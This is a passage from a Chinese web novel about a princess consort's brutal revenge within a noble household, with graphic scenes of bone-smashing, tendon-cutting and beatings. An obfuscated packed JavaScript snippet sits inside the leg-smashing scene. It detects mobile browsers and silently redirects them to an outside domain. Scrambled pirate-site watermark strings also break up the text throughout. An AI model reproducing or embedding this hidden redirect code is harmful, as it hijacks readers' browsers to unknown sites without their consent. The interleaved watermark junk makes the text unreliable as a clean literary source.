叶晚竹停下动作,朝着萧子易弯下腰,轻声细语地掐起了他的下巴。 “大哥,你说,要是没了这双腿,你是不是就能安安分分的了?” 听出叶晚竹话里的意思,萧子易浑身控制不住地哆嗦着,眼中也渐渐显出了畏惧。 “你想干什么?”他咽着口水,“你,你别乱来!” “放心,”叶晚竹仍是轻笑,“肯定不是给你下毒。” “隐川!” 直起身,叶晚竹拍了拍手上不存在的灰,“去搬块石头来,要大点的。” “小花回屋去,一会儿再出来。”她又摸了摸一旁跃跃欲试的小脑袋。 接下来的场景,小朋友还是不看为好。 隐川立刻遵命,将假山上一块水桶大小的石头举着放到了叶晚竹面前,书画也领着小花往屋中去。 “你……你敢,你敢!” 石头正好挡住了萧子易面前的光,也让他的表情变得更加晦暗。 萧子易惊慌失措地叫嚷着,挪动双脚想往后逃跑,却被隐风一把抓住领子,丢回叶晚竹面前。 “大哥要去哪儿?不是任凭本王妃处置吗?” 放下金杖,叶晚竹弯腰将那块石头搬了起来。 石头颇有重量,压得她声音都在微微颤抖。 萧子易目眦欲裂,什么都听不见了,挣扎着又想从地上爬起来,阴影却从后方猛地降下—— 叶晚竹高高举起石头,用尽全身力气砸在萧子易腿上! “啊!” 短促的尖叫从郭姨娘口中迸出,又立刻被她按了回去。 萧子易则是连一点声音都没有发出,硬生生昏倒在地,身子还在不断抽搐着。 可这还没完,叶晚竹用脚尖踢了踢他软绵绵的膝盖,再次将石头举了起来。 一下,两下,三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582768|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下…… 潇湘院中一时静默无声,只有石头撞击骨肉的咚咚声规律地响起。 直到萧子易膝盖以下的双腿扭曲变形,看起来骨头已经碎成了无数片,叶晚竹才停下手来。 让人把依旧昏迷不醒的萧子易抬回静心阁,她眼神一转,又朝着萧子景而去。 “王爷……” “是她!是她是她!” 萧子景早已经被叶晚竹的动作吓了个半死,这会儿跟她正面对上,看着叶晚竹下巴上被喷溅的道道血迹,还有她疯狂兴奋的表情,萧子景想也不想地指着郭姨娘。 “我什么都不知道!都是她和大哥干的!” 郭姨娘喘着粗气,说不好是吓的还是被气的。 “我是王爷的人,怎么会和大老爷勾结!” “说不定是你红杏出墙呢!”萧子景想也不想地还口。 被狠狠哽了一下,郭姨娘的脸也涨红了。 “是因为王爷知道自己不行,所以恼羞成怒了吗?”她愤愤地冷笑着。 院中再次一静,众人面面相觑,都有些不敢相信。 她们刚才听到什么了? 王爷……不行? 一双双眼睛不由得都朝萧子景看过去,其中流转着各式各样的情绪。 就连叶晚竹的神情都微微空白了一瞬。 抬了七八房妾室的人,竟然不行? 这叫什么,反其道而行之? 萧子景急促地呼吸着,狠狠瞪着郭姨娘,“你,你胡说八道!” 他行的! 只是不知道怎么回事,前一阵子已经恢复如常的身体,忽然又变得有些不济…… “是不是,王爷心里最清楚了!”郭姨娘反唇相讥,又做出恍然大悟的模样,“啊,是因为妾身发现了王爷不行的这个秘密,所以王爷才打算恶人先告状,是不是?” “你,你……”萧子景抬手指着郭姨娘,说不出话,指尖却拼命颤抖着。 叶晚竹看够了好戏,拍着巴掌走上前来,看着萧子景的时候,目光充满了同情。 “王爷可有看过大夫?需不需要妾身帮您找一个靠谱些的?” 第一百一十四章 腿痒砸腿,手痒剁手! 说话的时候,叶晚竹已经明白了那些大夫频频造访默言阁的真相。¢x¢n*s-p¢7^4¢8,.~c¢o·m/ 原来萧子景是真的不行了。 萧子景则是神情复杂地盯着叶晚竹。 要不是她抽打在自己身下的那几杖子,事情怎么会演变成现在这副模样? 可恨叶晚竹这贱人,现在还在说着风凉话! 让她去请大夫,跟昭告天下,有什么区别! 这个贱人!贱人! 直勾勾地盯着叶晚竹,萧子景的胸膛起伏得越发厉害,似乎随时都能咆哮出声。 可下一瞬,他却闭了闭眼,硬生生地将那种情绪压了下去。 叶晚竹看着他又一次忍耐,面上神情更加关切。 “王爷怎么了?难道……是那里不舒服?有没有吃着什么药?夏至,你快去取来。” 她倒是想看看,萧子景到底能忍到什么地步! 此话一出,萧子景果然又瞪起双眼,嘴唇都跟着哆嗦起来。 “王妃,”夏至嘴角抽抽着,“这,这是郭姨娘的信口雌黄,您怎么能跟着一起消遣王爷呢?” 叶晚竹的目光又落在这位身上。 隐风隐川查不出夏至的问题,也同样查不出他的来历。 虽然萧子景是从牙行将人买回来的,可夏至进入牙行前的资料,却是一片空白。′2¨疤¢墈′书*王! +哽~薪!醉`全¢ 他又是什么来头? “我怎么能是消遣王爷呢?” 心思转动,也不影响叶晚竹的表情越发担忧。 “你若真是为了王爷好,就该抓紧时间把药拿来,免得耽搁了王爷的病情——” “够了!” 萧子景浑身哆嗦得宛如一棵秋天的落叶树,狠狠一跺脚打断了叶晚竹的话。 “本王没有病!没有!” “都散了,滚开,都滚!” 手舞足蹈地又朝着潇湘院里看戏的丫鬟婆子们叫嚷着,萧子景怒气冲天地往外走。 “王爷!”叶晚竹扬起声音,“据说这病不好治,您可一定要照顾好自己,千万控制着不要发这么大的脾气啊!” 萧子景不予回应,脚下的动作更快了,背影怎么看都像是落荒而逃的意思。 叶晚竹也不曾阻拦,等萧子景离开,这才重新转头朝郭姨娘看去。 郭姨娘先前就被行了家法,一身伤还没好利索,今日又逢此一劫,这会儿趴在地上,衣服里隐隐透出血迹。 这让她的脸色也变得更加苍白,咬着牙才不至于瑟瑟发抖。 随着叶晚竹步步上前,她的眼神也频频落在一旁的石头上。 那石块已经沾满了萧子易的血,干涸后变成了难看的黑褐色。-精?武·暁,说¨王¨ `芜\错`内¢容^ “王,王妃……” 想到萧子易的模样,郭姨娘终于也哆嗦起来。 “姨娘请本王妃看了一场好戏,本王妃看得高兴,作为回报,奉送姨娘一个消息好了。” 在郭姨娘面前蹲下,叶晚竹又恢复了笑眯眯的模样。 什么消息? 把她的腿也打断? 郭姨娘绝望地胡思乱想着。 下一刻,她便看到王妃打了个响指,那个叫隐川的侍卫一把将自己身后一个小丫鬟揪了出来,一把扔在地上。 是阿笙。 她绝望地瞪大双眼,和郭姨娘四目相对。 “这丫鬟有二心,背着姨娘,悄悄在本王妃面前造谣,姨娘自己处置吧?” 叶晚竹眨了眨眼,无声地催促着。 她不管郭姨娘和阿笙是狼狈为奸,还是各自为政,敢在她面前耍弄心机,都要付出代价。 看懂了叶晚竹的意思,郭姨娘垂下头,深深地吸了一口气。 “贱婢!”她咬着牙抬起头,“竟然敢这样做,罚,罚你到院子里去做苦力,不准再在我身边伺候!” “不够。” 郭姨娘的话音刚刚落下,叶晚竹的声音便跟着响了起来。 “王妃……您说什么?”她苦笑着看过去。 “我说,不够。”叶晚竹掀开眼皮,语气冷了下去。 “阿笙亲手在潇湘院放下毒药,只是本王妃发现得早,才没酿成大祸,如此行为,在姨娘眼中,只值得被下放去做苦力?” “还是说,姨娘对此也心知肚明,所以才不愿意惩罚自己的心腹手下?” 听着叶晚竹渐渐变得冷厉的语气,郭姨娘有苦说不出。 她明白了,王妃就是要让她当众重罚阿笙! 如此一来,所有人都会知道,她是个护不住下人的主子! 郭姨娘哀求的目光又朝着叶晚竹投了过去。 “看来姨娘是个心慈手软的。” 冷笑一声,叶晚竹弯下腰,手里不知道什么时候变出了一把匕首! 她手起刀落,鲜血迸出,阿笙惊慌失措的叫声片刻后才染上疼痛。 郭姨娘瞠目结舌地看着叶晚竹挑断阿笙手筋的动作! “是左手,”叶晚竹捏着带血的手腕在她眼前晃了晃,“右手留着,日后继续伺候姨娘用。” 经历过这样的事情,还让阿笙来伺候她? 想象着那个画面,郭姨娘终于受不了了,双眼一翻,就此彻底昏死了过去! 再让人把郭姨娘一行送走,叶晚竹转身将房门打开,小花便蹦了出来。 “娘亲!”她激动地扯着叶晚竹的衣袖,“都结束了吗?” 虽然看不见,但听着刚才的热闹,也足够让小花兴奋。 “还差一点。” 叶晚竹勾了勾嘴角,目光又变得幽深。 “走吧,跟我去默言阁瞧瞧。” 默言阁中,萧子景回来后就把自己关在房间里,时不时便会有巨大的声响传来。 一干下人缩着脖子站在自己的位置上,连大气都不敢喘。 叶晚竹还没走到院门前便听见了这阵动静,她唇边的笑容不由得加深几分。 “王,王妃,”默言阁门前的小厮看见她,一脸为难,“王爷不让人进去……” “哦,我不是人。” 叶晚竹轻描淡写了一句,趁小厮还没回过神,一把推开他走进院中。 小厮想拦却和隐风对上了目光,浑身一颤连忙低下头,又看见了被他夹在肋下,双眼紧闭的萧延。 小世子这,这还活着吗…… 夏至这时候一路小跑着从廊下上前,警惕地看着一行人。 小花被叶晚竹牵着走在身边,书画也跟着伺候,萧延却像个没人要的包袱一样。 “王妃这是何意?” 第一百一十五章 王爷为何如此富有? “来给王爷送儿子。*x~z?h+a-i!s+h,u!.~c¨o_m-” 叶晚竹依旧是那种云淡风轻的语气。 “王爷呢?” 屋中噼里啪啦的声音就没停过,她竟然问王爷呢? 夏至忍不住又皱了皱眉,好声好气道,“您要不还是先把小世子放下来吧?小的这就去替您通传。” 叶晚竹似笑非笑地看着他。 “你在牙行的时候,是没人教还是学不会?主人家办事,轮不着下人插嘴。” 夏至的表情不由得一凝。 “让开!” 隐川立刻虎着脸一把将他推开,随即快走两步,又去推萧子景的房门。 “王爷!王妃带着小世子来了!”夏至一个踉跄后退几步,扯着嗓子朝屋中大喊一声。 屋中动静一停,隐川也感到了从手上传来的阻力。 房门被反锁,他却毫不犹豫,抬脚狠狠踹了上去! “哎!” 萧子景大概是刚走到门后,被忽然迸起的木屑惊得大喊一声,又慌忙后退。 叶晚竹趁着这个功夫大步走进屋中。 “哇,”她看着满地狼藉挑了挑眉,“没想到啊,王爷屋中的藏品还真是……丰富。” 花瓶茶具等瓷器碎了一地,藏书从匣子里被扯出,撕得四分五裂,几幅画作更是惨不忍睹,已经看不出最初的模样。`比*奇~中~文/王. ~已?发′布`蕞/辛,章\結. 叶晚竹的目光充满了“赞许”。 “这么多东西,要花王爷不少银子吧?” 一听见银子,正准备破口大骂的萧子景忽然像被掐住了脖子一样,发不出声音来了。 不仅如此,他还下意识地移开了视线。 “妾身十分好奇,王爷是什么时候变得如此富有的?” 叶晚竹却不让他躲,两步又站到萧子景面前。 “七房姨娘,满屋子珍藏,还有这大半个院子新进府的下人……要是妾身没有记错,王爷应该已经好几个月没领过俸禄了吧?这都是怎么办到的?” 景平王府的银子早就都到了叶晚竹的手里,经过先前那几遭,萧子景手里就算有钱,也该被耗空了。 所以,他现在哪儿来的这么多钱? “你,你管不着!” 萧子景回应的态度虽然硬气,可一双眼睛却仍然在躲躲闪闪着。 “王爷不说,那妾身就只好自己找了。” 耸了耸肩,看着萧子景忽然转过头来,叶晚竹却移开了目光,朝隐川点了点头。 隐川径直朝内室走去。 “你要干什么!”萧子景险些背过气去,“你干什么!给本王滚出来——” 隐川动作飞快,赶在萧子景之前砰地一声关上了内室的门! 翻找东西的声音传来,萧子景愤怒地抬手捶门,无果后又马上阴沉着一张脸朝叶晚竹而来。~s,h!u·b`x!s`.?c.o-m? “让他出来!” 反手指着内室门,他一脸阴鸷,“现在!否则,本王让你们好看!” 叶晚竹笑着对上他狂乱的双眼。 “王爷怎么不忍了?”她悠然问道。 萧子景闻言先是一愣,片刻后盯着叶晚竹的目光变得更加凶恶。 叶晚竹又回以一个更灿烂的笑容。 “看来,王爷屋里真的有非常重要的东西。” “叶、晚、竹!” 终于又踩到了萧子景的尾巴,叶晚竹看着他从牙根里一字一句地挤出自己的名字,反手朝屋外拍了拍。 隐风几乎是立刻就出现在她身边,以迅雷不及掩耳之势将一个东西猛地塞进了萧子景怀中。 “你——” 本以为隐风要动手,萧子景已经做好了应战的准备,却没想到这一下竟然和萧延对上了眼。 萧子景愣愣地看着被塞进自己手里的儿子。 “父,父王。” 萧延怯怯地抽着鼻子,眼神十分委屈。 “你对我儿子做了什么?”萧子景立刻被调转了注意力,愤愤地看着叶晚竹。 对自己亲生的儿子又打又骂,却护着那个野种! 他的目光又不能自控地往还站在廊下的小花身上看去。 “王爷刚才走的潇洒,怕是忘了这胆小鬼儿子,我做个好心人给你送过来,王爷却如此不领情。” 叶晚竹故意叹了口气。 “王爷,您没得那不堪启齿的病之前,可不是这样的,看来,这病害人不浅啊。” 萧子景的呼吸又变得急促起来。 一半是愤怒,另一半却有些心虚。 在潇湘院的时候,他的确把萧延忘得一干二净,就连叶晚竹让小花先回屋,他都没有顺势想起自己还有个儿子也在现场。 方才那些血腥的场面,延儿都看见了? 萧延紧紧揪着萧子景的衣襟,整个人终于放松下来,开始不住地哆嗦着。 大伯被娘亲砸断双腿的画面不停在脑中转动,还有那小丫鬟阿笙被挑断手筋时发出的痛呼,也没完没了地在萧延耳中回响。 娘亲怎么会这么狠毒! 她,她会不会也这么对待他? 不知道自己是什么时候昏过去的,醒来就被隐风夹在腋下,萧延生怕自己也落得个那样的下场,直到进入父王怀里,才憋不出大哭出声。 他哭得整个身子都在抽抽,声音更是要掀翻房顶。 萧子景见状越发确信儿子是被吓着了,抱着哄了两声,便横眉竖目地看着叶晚竹。 “这也是你的儿子!你为什么不管!” “王爷怎么证明?” 叶晚竹颇为嫌弃地看着萧延哇哇大哭的模样,语气漠然。 这不也是萧子景的儿子吗? 萧延还从来都没说过不认这个父王的话,明显和他亲近多了。 遇到方才那样的情况,萧子景不也没有管吗? “证,证明?” 萧子景听着她这话却又瞪大双眼,差点儿咬了自己的舌头。 这还需要证明? 看出他心里的想法,叶晚竹忽然想到了什么,笑弯了一双眼睛。 “毕竟……王爷不行啊。” 这下萧子景也跟着全身哆嗦起来,气得眼睛都红了。 该死的贱人! 竟敢如此取笑他! “胡说八道!胡说八道!” 萧子景愤怒的吼声顿时取代了萧延的哭嚎,在屋中激起阵阵回响。 “哦?王爷否认自己不行?” 叶晚竹挑起眉头,眼神忽然又变得更加恶劣。 “真金不怕火炼,隐风,你去检查一下,王爷说的,到底是真话还是假话?” 第一百一十六章 妾身笑纳了 检……检查? 萧子景下意识地夹紧了双腿。′2-八\看·书`惘! -耕.薪?最,筷· 是他想的那个意思吗? 隐风依旧面无表情,一双眼睛却朝着萧子景身下扫了扫。 一阵冰冷的感觉沿着萧子景的后背猛地窜了上来。 他抱着萧延踉跄后退两步,一脚踩中地上的碎片,险些一起滑倒。 “王爷怎么心虚成这样?” 叶晚竹仍然是笑眯眯的。 萧子景站稳身子,却不想开口说话。 他用脚指头也能想到,只要他敢出声反驳,叶晚竹马上就敢让隐风扒了他的裤子! 这可是东厂的人,行不行的,他们最有话语权了吧! 想到这儿,萧子景的呼吸忽然又不受控制地变得紊乱。 隐风对他这一系列举动都恍若不见,绕开地上的杂物,继续朝着萧子景的方向走去。 那位梁源大人都差点儿被阉了呢,如今只是给景平王验明正身罢了。 “你别过来,本王,本王警告你!” 萧子景声急色厉,脚下后退的动作却越来越快。 若真是被隐风得手…… 那场面,那后果,萧子景不愿想象! 就在他后背贴上内室紧闭的房门,再无处可逃的时候,脚步声忽然从里面传来。.d+a.s!u-a?n·w/a/n!g+.\n`e_t¨ 下一刻,内室门被打开,毫无准备的萧子景一个倒仰! 隐川及时后退半步,又多少发了点善心,抬手扶了萧子景一把,没让他在脑袋后面摔一个窟窿出来。 “王妃,”他看向叶晚竹,“银票找到了。” 顺着隐川的动作,叶晚竹看到了被他拿在手中的一个小盒子。 打开来,里面是厚厚的一沓银票,已经被用掉了一小半,张张都是五百两。 叶晚竹粗略算了算,盒子里放满的话,少说也要十万两银子。 这可不是一笔小数目,尤其是对现在的萧子景来说。 “王爷,解释一下吧?”叶晚竹将盒子举到了萧子景的面前。 萧子景已经趁着她刚才查看银票的功夫重新站了起来,又拉起萧延的手。 他用得力气很大,将萧延的手指都捏的变了形也毫无自觉。 被叶晚竹用儿子打了一岔,他都已经忘了隐川还在内室找钱的事了! 看着面前的银票,萧子景想也不想要伸手夺回,却被叶晚竹狠狠一巴掌拍在手背上! 清脆的声音响起,叶晚竹又接着道:“这么多银子,王爷是从何而来?” “你管不着!” 收回手,萧子景羞恼起来,眼珠子又紧跟着一转,“朝堂之上的事情,你一介女流,少打听为好,把银票还给我!” 他又要伸手,叶晚竹动作敏捷地将盒子藏在身后。~珊_叶?屋_ +醉_欣!蟑/节·更`鑫?哙/ “难道这不是王爷的银票?”她故意疑惑地道。 “……拿过来!”萧子景又咬紧了牙关。 叶晚竹轻笑了一声,眼神忽然变得锐利。 “既然是王爷的,那王爷就更要好好解释了。” “王爷被圣上罚了俸禄暂且不说,就算有,你回京才不过几个月的时间,不可能攒下这样一笔钱财。” “大梁最近没有战事,王爷更没有披挂出征,这银子若是从朝堂之上而来,岂不是更加可疑?” “正好,九千岁前段时间不就在查贪污受贿吗?我看,王爷莫不会就是一条漏网之鱼吧?” 萧子景的眼神又变得慌乱起来,“胡说!本王这些银票都是正当得来的!” 什么贪污受贿! 要是被谢无咎那阉人将这番话听去,岂不是要把自己抓到东厂? 等等,谢无咎? 想到叶晚竹和这位的关系,萧子景再看向叶晚竹的时候,眼底便又多了些说不清,道不明的情绪。 绕了这么大一个圈子,叶晚竹是故意的吧? 看准了那阉贼会给她撑腰! “王爷不说?”叶晚竹歪头看着萧子景的表情,“是说不出来,还是根本就不敢说啊?” 就眼下的情况,萧子景怎么可能用正常的方法弄到十万两银子? 叶晚竹眯了眯眼。 这件事,真是越查越有。 “王爷若是不说,那妾身只好请您换个地方了。” 这是明晃晃的威胁! 随着叶晚竹这句话落下,隐风和隐川的表情也变得越发危险。 萧子景感到浑身发凉,忍不住用力吞咽着口水。 “我……这钱是我赢来的。” 不甘愿地低声开口,萧子景的声音越说越低,最后三个字几乎让人听不分明。 叶晚竹低头看向自己手中的盒子。 赢来的? “外城有赌场,本王一时兴起去玩了几把,没想到手气不错,怎么了,老天爷赏的银子,你还要怎么干净?”萧子景索性一口气把话全都说了出来。 他堂堂外姓王,连赌钱都这么一帆风顺! 叶晚竹的目光又变得狐疑起来。 什么赌场能让萧子景拿走十万两银子? 老板得失心疯了,手下也不拦着? 可凭她对萧子景的了解,这位现在的模样,也的确不像是在说假话。 又是一桩怪事。 盯着萧子景又看了几眼,叶晚竹暂且压下心头的疑虑,又变出了惯常的笑脸。 “原来如此,”她掂了掂木盒,“王爷手气真好,妾身这就笑纳了。” “笑——什么?” 萧子景一时间还没反应过来自己听到了什么,等眼睁睁地看着叶晚竹将盒子交到隐风手里才急了眼。 “你什么意思!” “债主要钱的意思。”叶晚竹抱起双臂,“大房从我铺子里贪去的银子至今都没再还上,按照咱们的契约书,这笔银子,正该王爷给我。” 萧子景整个脑袋都气成了红色的。 他早就不记得还有什么劳什子的文书,只知道,叶晚竹拿走了他还没完全捂热的银票! “还给本王!”萧子景声嘶力竭着朝叶晚竹扑上来,“你这是抢劫!把银票还给我!” 不消叶晚竹出手,隐川一脚踹上萧子景的小腹,将他整个人踹出几步之外,又重重地摔在地上。 破碎的瓷片划破了萧子景裸露在外的皮肤,叶晚竹一脚踢开半个茶壶嘴,在他面前蹲下身去。 “银子的事情可以告一段落了,我过来,是有件重要的事情要和王爷说的。” “五日之后,我要设宴正式收养小花。” 第一百一十七章 你姓萧,我姓叶! “收什么养,把银票还给本王——” 等等,收养? 收养谁? 萧子景不加思索的话说到一半,脑子才跟上了嘴巴,顿时呆呆地朝叶晚竹看去。 “我要正式收养小花。” 叶晚竹又一字一顿地把自己的话说了一遍。 “你们一个两个的,口口声声说小花名不正言不顺,这就是你们给自己作恶找的好理由吧?” 那她就给小花的身份过个明路好了。 这件事叶晚竹早就想办了,眼下时机正好! “我不同意!” 萧子景总算彻底回过神来,重重地拧起了眉头。 “我不同意!”他也又把话说了一遍,“这就是个野种,怎么配进我景平王府的家门?” “谁说小花是王府的人了?” 上下打量着萧子景的表情,叶晚竹挑了挑眉。 “她会姓叶,跟王府,还有你们萧家一点儿关系都没有。” 好不容易有个好孩子在身边,叶晚竹才不会让她姓萧! 脏东西,还是离远点好! “你!” 萧子景闻言先是瞪起双眼,片刻后,心中又不能自已地泛起了后知后觉的恐慌。 他想起了叶家的传统,女子当家! 那叶晚竹现在给这个野种姓叶,岂不是说…… “不行,绝对不行!” 想到叶晚竹手里的金银财宝,铺子田庄都要离自己远去,萧子景再也冷静不下来。 “我绝对不会让这个野种进门,你休想!”他再度怒瞪着叶晚竹,“别以为本王不知道你是什么打算!” 叶晚竹毫无畏惧地回看了过去。 “王爷倒是说说,我是什么打算?”她的语气还是戏谑,“又或者,王爷也说说,自己是什么打算?” 她的银子,她想给谁就给谁! 轮不到萧子景指手画脚! “我也不同意!” 还没等萧子景想到后话,萧延一声尖叫也冲了上来。 他终于明白了,娘亲要让这个野种跟他抢! 这怎么行! 他才是娘亲的亲生儿子,娘亲的一切,只能给他! “我不准她给我当妹妹!她不配!”萧延指着小花连连跺脚。 小花被书画拉着,先前又得了叶晚竹的话才没冲进屋中,却依旧在朝着萧延做鬼脸。 “你想当我哥?做梦吧,娘亲说了,我姓叶,你姓萧,咱俩有个屁的关系!” “你,你!”萧延气得浑身哆嗦,“粗鄙!娘亲你听啊,这样粗鄙的人,怎么能在王府安家!” 叶晚竹先看了一眼不知道什么时候摸进房间,站在萧延刚才所在角落的夏至,这才收回目光,笑得讽刺极了。 “延儿会说的词多多了吧?怎么是听见别人说,才知道这些话粗鄙的呢?” 小花这样的都叫粗鄙,那萧延一口一个贱人毒妇,又叫什么? 无可救药吗? “我只是来通知你们的,到了那天,王爷记得出席就好。” 懒得看萧延那副窝囊模样,叶晚竹收起视线,恢复了公事公办的表情。 萧子景双手叉腰,冷笑一声。 “做梦!叶晚竹,本王再告诉你一次,这件事不可能,这场宴席,也不会在王府举办!” 谁敢动手安排一下,他就把谁撵出府去! 他绝不同意! 叶晚竹静静地和他对视着,那熟悉的,不怀好意的怜悯又从眼底渗了出来。 “王爷那病,是伤到耳朵还是脑子了?”她带着可怜,“我不需要你的同意。” “那你就试试!” 萧子景这会儿已经感到火气顺着脑袋顶了上来,他胸口鼓胀,气得眼前都在一阵阵地发黑。 “叶晚竹,这不是儿戏!你现在是王府的当家主母,是萧家的人!容不得你像在叶家那样胡来!” 在萧子景看来,叶家虽然有钱,但并不显贵,还十分低调,什么入赘,什么女子当家,权当做茶余饭后的谈资也不错。 毕竟人也不能一成不变。 可他这景平王府就不同了,他是圣上亲封的异姓王,那就是与皇家沾亲带故,如此高贵威严的身份地位,怎么能容许叶晚竹继续从前那套不入流的做法? 更别说她还要把银子也一同拿走了。 绝对不行! “本王不会让你在众目睽睽之下,给王府丢这个人的!”他叉着腰,神情分外坚决。 “王爷还怕丢人?” 萧子景的怒火一点儿都没有影响到叶晚竹,她轻笑着看了过去。 “那就更好办了,如果王爷不想丢人丢得更厉害,最好现在就老实应下妾身的话。” 其实那宴席上也不需要萧子景和萧延。 只是,不让他们亲眼看看这一幕,怎么够过瘾? “我绝不会同意。” 萧子景咬紧牙关,声音冷冰冰的。 叶晚竹闻言叹了口气。 “书画。” 她朝后一招手,书画便将早就准备好的金杖递到了叶晚竹手中。 与此同时,隐风隐川也默契上前,一个抓萧子景,一个拦萧延,将二人连拖带抱地扯到了院中。 “干什么——嗷!” 叶晚竹拎着金杖跟了出来,一杖子抽在萧子景嘴上! “叶——你——啊!” 萧子景还想开口,杖子却接二连三地落下,快得让他连一点儿喘息的机会几乎都没有! 很快,萧子景的嘴唇便高高肿起,别说骂人,就连动一下都十分困难。 “王爷同意了没?”停了手,叶晚竹低头看去。 她略一停顿,没给萧子景任何反应的时间,便又抄起金杖,狠狠在他身上抽打起来! “呜呜呜!” 萧子景不住地挣扎着,想说话却开不了口,只能硬生生忍着,直到叶晚竹把他打成猪头,自己停手为止。 喘了口气,叶晚竹便看到萧子景不住地上下摇晃着脑袋。 “王爷这是在点头?”她笑眯眯地甩了甩手腕,“怎么不早点说?” 萧子景想瞪叶晚竹,却发现自己的眼睛都肿得睁不开了。 早点的时候,他有说话的机会吗? “娘,娘亲……!” 撂下萧子景,叶晚竹转头又将矛头对准了萧延,不等他把话说完,金杖便也劈头盖脸地落了下去! “我同意啊!我同意!”萧延抱头鼠窜,“别打我!” 好疼啊! “打你,是因为你嘴贱!” 第一百一十八章 妾身请都督帮好多忙 “然后呢?” 东厂大厅之中,冰盆围着宽大的座椅绕了一圈,谢无咎依旧倚在椅背上,垂着长睫,仿若漫不经心。 “景平王和小世子都同意了?” 隐翼抽了抽嘴角。 “不同意……怕是不行。” 景平王妃足足抽了两炷香的时间,确保景平王和小世子浑身上下都挨过均匀的打,这才收手离开的。 这会儿时间才过去不久,他估摸着,那两位身上的伤口可能都还没处理完呢! 单手撑着脑袋,谢无咎又低低地笑了起来。 “王妃也不嫌累,不过,让这两人出席收养宴席,光是想想那天晚上的场面,本督也觉得十分有趣呢。” “属下这就去安排。” 听出主子的意思,站在一旁的隐月连忙一抱拳,脑中已经开始思考。 东厂这些日子忙得天昏地暗,想挤出一个晚上,似乎都变得不那么容易。 谢无咎轻应一声,合上双眼,似是有些疲惫,口中却溢出低语。 “说好的报酬,真是个骗子——” “九千岁,景平王妃求见!” 大殿外传来的声音让谢无咎身子微顿,片刻后缓缓睁开了双眼。 “王妃真是大忙人啊,不知今日是什么风,把您吹到这小小的东厂来了?” 片刻之后,一进大殿,叶晚竹便迎上了谢无咎颇为阴阳怪气的声音。 她抬头看去,目光与软椅上的人交错片刻。 “九千岁不忙吗?”叶晚竹轻笑一声,“妾身可看不出来。” 谢无咎的皮肤又薄又白,衬得眼下那点黑紫越发明显。 他的气色也没好到哪里去,盛夏的光阴都明媚,却好像一点儿都落不到他身上,只有这散发着幽幽冷意的大殿包裹着他一身鬼气。 看上去,这位好像是在阴曹地府连轴转了个七天七夜似的。 被叶晚竹盯着看,谢无咎倒也没显出不自在,只是坐直了身子,伸手摸摸自己的脸。 “好吧,”他叹了口气,“不知王妃今日前来,有何要事?” 谢无咎语气玩笑,叶晚竹却当真拿出了一个木盒。 “怎么?王妃是来收买本督的?” 打开盒子,看见里面的银票,谢无咎先是不解,而后笑意又漫了上来。 “王妃有事相求,用不着行贿。” “这是萧子景的银票。” 叶晚竹扬了扬下巴,又将银票的来路一说,看着谢无咎眼底的玩笑渐渐淡去了。 “赌场……” 摩挲着下巴,谢无咎放轻了声音,似乎正在思索。 “本督不甚了解外城,赌场想来应该是有几家,但若说能让人赢走十万两银子……” 大梁京城分内外城,内城里大多住着皇亲国戚,朝廷重臣;外城便以平民百姓,贩夫走卒为主了。 百姓们一年到头地劳作,也挣不到这么多银子,在外城开设的赌场怎么会有这样大的盘口? 此事很不对劲。 “有劳九千岁替妾身调查一番。”叶晚竹又道,“此事或许和萧子景最近的异样有关。” “景平王的异样?” 回过神来,谢无咎倒是眨了眨眼。 这段时间东厂的确太忙,他手下缺人得很,王府太平的时候,隐翼便不再蹲守。 没想到还真漏掉了什么。 虽然不是自己的过失,隐翼还是哆嗦了一下。 叶晚竹余光扫过,并不点破,继续和谢无咎说起了萧子景。 萧子景从来就不是个善于隐忍的性子,当初入赘叶家那件事八成已经用掉了他所有的忍耐力,尤其是面对叶晚竹的时候,他向来是不允许自己处于下风的。 更别提向叶晚竹主动息事宁人了。 可这段时间,萧子景却不止一次这样做了。 异样,银子,还有萧子易去接触的那个神秘人,叶晚竹越往后说,便能感到谢无咎的神情越专注。 往日那点浮皮潦草的轻慢全然消失,叶晚竹看在眼底,心口有些沉。 能让这位都露出这般模样,看来,她误打误撞,好像碰上了一件大事? 而萧子景,或者说整个景平王府,似乎都参与其中。 深吸一口气,叶晚竹感到压在心里的那块石头还在缓缓下沉,一股全新的热流却随之涌起,传遍周身。 “王妃?” 谢无咎的声音忽然响起,又恢复了笑吟吟的口吻。 “与本督说话,竟然让王妃如此高兴?” 他歪着头,不知道已经看了叶晚竹多久,而叶晚竹闻言回过神,这才感到自己的嘴角正向上翘着。 眨了眨眼,她将自己的想法说了出来。 谢无咎八风不动,笑容完美,“现在还不能确定,王妃有什么想法?” 原来这么高兴,不是因为他。 “若是萧子景因此犯下什么大罪,那他这个异姓王的身份,想来就保不住了吧?” 叶晚竹没看出他这点腹诽,仍是兴致勃勃。 她还没想好要怎么办,萧子景倒是自己把机会给她送上来了。 谢无咎闻言才明白过来,淡笑着看向叶晚竹。 “若是景平王府要倒台,王妃,你也少不了要被波及。” 再怎么说,叶晚竹如今的身份还是景平王妃。 “除非——”提前和离。 将后半句话含在口中,谢无咎故意拖长了音调。 叶晚竹也笑了笑。 “除非,是我告发的。” 谢无咎终于又怔住了。 “不知道九千岁愿不愿意助我一臂之力,好让我早日大义灭亲?” 叶晚竹还在笑着,眉眼弯弯,显然正是身心舒畅。 若她能抓住萧子景的致命要害,就能一举将他送回那个什么也不是的破落户萧老二去! 谢无咎忽然也大笑起来。 “王妃如此诚心,本督怎好拒绝?那我可就等着看王府的热闹了!” “一定。” 勾着嘴角,二人将此事定下,叶晚竹又从怀中取出一样东西递给谢无咎。 是五日后来王府参加宴席的请帖。 “那个热闹还早,九千岁不妨先来吃道开胃小菜好了。”叶晚竹的语气轻飘飘的。 谢无咎自然是没有不应下的道理。 “还有一事,”叶晚竹忽然又将话锋一转,“妾身还有一个忙,还请九千岁万万莫要拒绝……” 第一百一十九章 娘亲请喝茶! 接下来的五天里,景平王府又一次成为了京城众人谈论的对象。 